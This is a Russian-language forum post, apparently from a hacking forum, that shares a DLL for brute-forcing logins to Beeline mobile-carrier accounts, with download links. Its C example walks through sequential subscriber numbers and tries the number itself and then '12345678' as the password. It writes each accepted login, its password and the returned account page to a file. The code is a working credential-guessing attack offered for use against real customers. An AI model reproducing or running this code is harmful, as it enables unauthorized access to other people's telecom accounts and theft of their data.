зацените либу авторизации - нет глюков при бруте? http://www.sendspace.com/file/551jsm пример как юзать: Code: void Log(char *id, char *pwd, void *buf, size_t size) { char filename[64]; sprintf(filename, "%s_%s.html", id, pwd); FILE *pf = fopen(filename, "w"); fwrite(buf, size, 1, pf); fclose(pf); } void TestTest() { HMODULE mod; if((mod = LoadLibraryA("brq.dll")) == NULL) { MessageBoxA(0, "cannot load",0,0); return; } BeelineAuthRqF BeelineAuthRq; BeelineAuthRq = (BeelineAuthRqF)GetProcAddress(mod, "BeelineAuthRq"); char login[64]; char *userAgent = "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.58 Version/11.00"; char *s12345678 = "12345678"; void *buffer; size_t buffersize; DWORD rc; for(DWORD startID = 894545900, i=0, max = 100; i < max; i++,startID++) { sprintf(login, "0%d", startID); rc = BeelineAuthRq(login, login, userAgent, &buffer, &buffersize); if(rc == RQ_STATUS_ACCOUNT_ACCEPTED) { Log(login, login, buffer, buffersize); HeapFree(GetProcessHeap(),0,buffer); }else if(rc == RQ_STATUS_ACCOUNT_REJECTED) { rc = BeelineAuthRq(login, s12345678, userAgent, &buffer, &buffersize); if(rc == RQ_STATUS_ACCOUNT_ACCEPTED) { Log(login, s12345678, buffer, buffersize); HeapFree(GetProcessHeap(),0,buffer); } }else { if(MessageBox(0, "НЕШТАТНАЯ СИТУАЦИЯ!\nПродолжить?", "ВНИМАНИЕ!", MB_YESNO|MB_ICONWARNING) == IDNO) break; } printf("\nCompleted: %d/%d", i, max); Sleep(1000); } }
ну да. блин в хидере же экспорт описан: Code: unsigned int __stdcall BeelineAuthRq( char *slogin, char *spassword, char *sUserAgent,__out void **pOutBuf,__out size_t *piOutLen); а курл тоже пришлось пересобрать - вот да на студии10 прожект - http://www.sendspace.com/file/qhh8br